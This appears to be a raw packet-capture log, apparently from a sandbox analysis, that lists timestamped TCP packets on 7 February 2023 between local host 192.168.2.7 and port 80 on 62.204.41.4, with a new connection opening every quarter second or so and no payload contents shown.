Feb 7, 2023 23:08:36.212696075 CET	80	50041	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:36.212841034 CET	50041	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:36.263611078 CET	50042	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:36.323340893 CET	80	50042	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:36.325232983 CET	80	50042	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:36.325330973 CET	50042	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:36.783390045 CET	50042	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:36.787200928 CET	50043	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:36.843154907 CET	80	50042	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:36.843391895 CET	50042	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:36.849941969 CET	80	50043	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:36.850193024 CET	50043	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:36.948525906 CET	50043	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.011358976 CET	80	50043	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.014750957 CET	80	50043	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.015033007 CET	50043	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.151012897 CET	50043	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.152239084 CET	50044	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.213984966 CET	80	50044	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.214018106 CET	80	50043	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.214257002 CET	50043	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.214258909 CET	50044	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.214832067 CET	50044	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.276418924 CET	80	50044	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.280854940 CET	80	50044	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.281016111 CET	50044	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.397006989 CET	50044	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.397794008 CET	50045	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.458581924 CET	80	50045	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.458611012 CET	80	50044	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.458729982 CET	50045	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.458782911 CET	50044	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.461652040 CET	50045	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.522476912 CET	80	50045	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.524796009 CET	80	50045	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.524987936 CET	50045	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.639959097 CET	50045	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.641031981 CET	50046	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.700686932 CET	80	50046	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.700721025 CET	80	50045	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.700819016 CET	50046	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.700845003 CET	50045	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.701236963 CET	50046	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.760709047 CET	80	50046	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.763130903 CET	80	50046	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.763297081 CET	50046	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.870793104 CET	50046	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.871937990 CET	50047	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.930768967 CET	80	50046	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.930861950 CET	50046	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.931660891 CET	80	50047	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.931770086 CET	50047	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.932300091 CET	50047	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:37.991846085 CET	80	50047	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.994133949 CET	80	50047	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:37.994272947 CET	50047	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.100883961 CET	50047	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.101880074 CET	50048	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.160470009 CET	80	50047	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.160608053 CET	50047	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.163372993 CET	80	50048	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.163572073 CET	50048	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.164092064 CET	50048	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.225665092 CET	80	50048	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.228632927 CET	80	50048	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.231509924 CET	50048	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.336232901 CET	50048	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.338026047 CET	50049	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.398014069 CET	80	50048	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.399533987 CET	50048	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.400600910 CET	80	50049	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.400980949 CET	50049	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.401505947 CET	50049	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.464000940 CET	80	50049	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.466819048 CET	80	50049	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.469747066 CET	50049	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.584389925 CET	50049	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.585314989 CET	50050	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.647084951 CET	80	50049	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.647525072 CET	50049	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.647766113 CET	80	50050	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.647887945 CET	50050	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.652718067 CET	50050	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.715270042 CET	80	50050	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.718818903 CET	80	50050	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.718920946 CET	50050	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.834918976 CET	50050	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.835983038 CET	50051	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.895203114 CET	80	50051	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.897449017 CET	80	50050	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.897675037 CET	50050	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.899401903 CET	50051	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.908724070 CET	50051	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:38.968020916 CET	80	50051	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.970972061 CET	80	50051	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:38.973555088 CET	50051	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.085242987 CET	50051	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.088800907 CET	50052	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.145140886 CET	80	50051	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.145271063 CET	50051	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.149393082 CET	80	50052	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.149502039 CET	50052	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.150059938 CET	50052	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.210591078 CET	80	50052	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.214437008 CET	80	50052	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.214584112 CET	50052	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.320122957 CET	50052	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.321140051 CET	50053	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.380861998 CET	80	50052	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.381081104 CET	50052	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.383588076 CET	80	50053	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.383785009 CET	50053	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.384368896 CET	50053	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.446634054 CET	80	50053	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.449167967 CET	80	50053	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.449359894 CET	50053	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.554683924 CET	50053	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.555919886 CET	50054	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.616327047 CET	80	50054	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.616641998 CET	50054	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.617227077 CET	50054	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.617254972 CET	80	50053	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.617356062 CET	50053	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.677571058 CET	80	50054	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.679996967 CET	80	50054	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.680107117 CET	50054	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.796411037 CET	50054	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.797413111 CET	50055	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.856791019 CET	80	50054	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.856827021 CET	80	50055	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.856914997 CET	50054	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.856996059 CET	50055	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.857527018 CET	50055	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:39.916841030 CET	80	50055	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.919043064 CET	80	50055	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:39.919152975 CET	50055	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.026381969 CET	50055	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.027343988 CET	50056	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.085927010 CET	80	50055	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.086035967 CET	50055	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.087702036 CET	80	50056	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.087836027 CET	50056	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.088529110 CET	50056	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.148910999 CET	80	50056	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.152849913 CET	80	50056	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.153044939 CET	50056	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.260600090 CET	50056	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.261440039 CET	50057	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.321037054 CET	80	50056	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.321177006 CET	50056	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.321780920 CET	80	50057	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.321919918 CET	50057	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.336370945 CET	50057	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.396996021 CET	80	50057	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.399558067 CET	80	50057	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.399621964 CET	50057	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.508477926 CET	50057	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.509732962 CET	50058	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.569154978 CET	80	50057	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.569240093 CET	50057	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.570877075 CET	80	50058	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.570985079 CET	50058	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.571513891 CET	50058	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.632617950 CET	80	50058	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.634928942 CET	80	50058	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.634998083 CET	50058	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.751110077 CET	50058	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.752084970 CET	50059	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.812552929 CET	80	50058	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.812652111 CET	50058	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.813555956 CET	80	50059	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.813718081 CET	50059	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.814145088 CET	50059	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:40.875835896 CET	80	50059	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.878601074 CET	80	50059	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:40.878716946 CET	50059	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.004342079 CET	50059	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.005199909 CET	50060	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.065588951 CET	80	50060	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.065664053 CET	80	50059	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.065742016 CET	50060	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.065831900 CET	50059	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.073046923 CET	50060	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.133651972 CET	80	50060	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.137222052 CET	80	50060	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.139746904 CET	50060	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.256936073 CET	50060	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.258913994 CET	50061	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.317533970 CET	80	50060	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.317682981 CET	50060	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.321196079 CET	80	50061	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.323703051 CET	50061	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.341686964 CET	50061	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.404690981 CET	80	50061	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.406538963 CET	80	50061	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.406630039 CET	50061	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.523327112 CET	50061	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.524815083 CET	50062	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.586018085 CET	80	50061	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.586244106 CET	50061	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.587270021 CET	80	50062	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.587454081 CET	50062	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.588090897 CET	50062	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.650664091 CET	80	50062	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.653572083 CET	80	50062	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.655756950 CET	50062	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.773785114 CET	50062	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.774674892 CET	50063	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.836386919 CET	80	50062	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.836426020 CET	80	50063	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.836632967 CET	50062	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.836721897 CET	50063	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.843312979 CET	50063	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:41.904948950 CET	80	50063	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.907038927 CET	80	50063	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:41.907756090 CET	50063	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.026083946 CET	50063	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.027304888 CET	50064	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.087973118 CET	80	50063	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.088087082 CET	80	50064	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.088200092 CET	50063	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.088294029 CET	50064	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.089378119 CET	50064	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.150029898 CET	80	50064	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.152475119 CET	80	50064	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.152666092 CET	50064	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.257734060 CET	50064	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.258454084 CET	50065	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.318576097 CET	80	50064	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.318861961 CET	50064	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.321019888 CET	80	50065	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.321348906 CET	50065	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.321938038 CET	50065	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.384334087 CET	80	50065	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.387288094 CET	80	50065	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.387478113 CET	50065	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.492805958 CET	50065	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.495193005 CET	50066	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.555500984 CET	80	50065	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.555696011 CET	50065	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.557801962 CET	80	50066	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.558037996 CET	50066	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.558660030 CET	50066	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.621516943 CET	80	50066	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.624227047 CET	80	50066	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.624411106 CET	50066	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.744267941 CET	50066	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.745028019 CET	50067	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.806514025 CET	80	50067	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.806698084 CET	50067	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.806904078 CET	80	50066	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.806977034 CET	50066	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.809417963 CET	50067	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.870768070 CET	80	50067	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.874066114 CET	80	50067	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:42.874197006 CET	50067	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.992294073 CET	50067	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:42.993408918 CET	50068	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.055479050 CET	80	50067	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.055634975 CET	50067	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.056449890 CET	80	50068	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.056581974 CET	50068	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.057009935 CET	50068	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.119869947 CET	80	50068	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.122375011 CET	80	50068	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.122641087 CET	50068	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.226486921 CET	50068	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.227498055 CET	50069	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.288033962 CET	80	50068	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.288280010 CET	50068	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.289063931 CET	80	50069	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.289273977 CET	50069	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.290159941 CET	50069	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.351749897 CET	80	50069	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.354147911 CET	80	50069	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.354362965 CET	50069	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.476912022 CET	50069	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.478218079 CET	50070	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.538773060 CET	80	50069	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.539015055 CET	50069	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.539724112 CET	80	50070	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.539872885 CET	50070	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.541726112 CET	50070	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.603482008 CET	80	50070	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.606462002 CET	80	50070	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.606630087 CET	50070	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.739346981 CET	50070	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.740178108 CET	50071	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.801070929 CET	80	50070	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.801197052 CET	50070	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.801454067 CET	80	50071	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.801601887 CET	50071	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.808187962 CET	50071	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.869762897 CET	80	50071	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.872343063 CET	80	50071	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:43.872457027 CET	50071	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.987498999 CET	50071	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:43.988558054 CET	50072	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.049089909 CET	80	50072	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.049124002 CET	80	50071	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.049212933 CET	50072	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.049267054 CET	50071	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.049737930 CET	50072	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.110090017 CET	80	50072	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.112437963 CET	80	50072	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.112602949 CET	50072	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.234086990 CET	50072	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.235186100 CET	50073	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.294558048 CET	80	50072	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.294708967 CET	50072	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.297794104 CET	80	50073	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.297945976 CET	50073	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.306613922 CET	50073	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.369164944 CET	80	50073	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.371047020 CET	80	50073	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.371176958 CET	50073	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.491298914 CET	50073	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.492189884 CET	50074	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.553666115 CET	80	50073	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.553864002 CET	50073	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.554580927 CET	80	50074	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.554678917 CET	50074	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.559818983 CET	50074	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.622183084 CET	80	50074	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.626315117 CET	80	50074	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.626478910 CET	50074	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.744509935 CET	50074	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.747247934 CET	50075	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.807256937 CET	80	50074	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.807430983 CET	50074	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.810118914 CET	80	50075	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.810291052 CET	50075	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.816817045 CET	50075	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.879297018 CET	80	50075	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.882617950 CET	80	50075	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:44.882740021 CET	50075	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.992168903 CET	50075	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:44.993211031 CET	50076	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:45.053620100 CET	80	50076	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:45.053822994 CET	50076	80	192.168.2.7	62.204.41.4
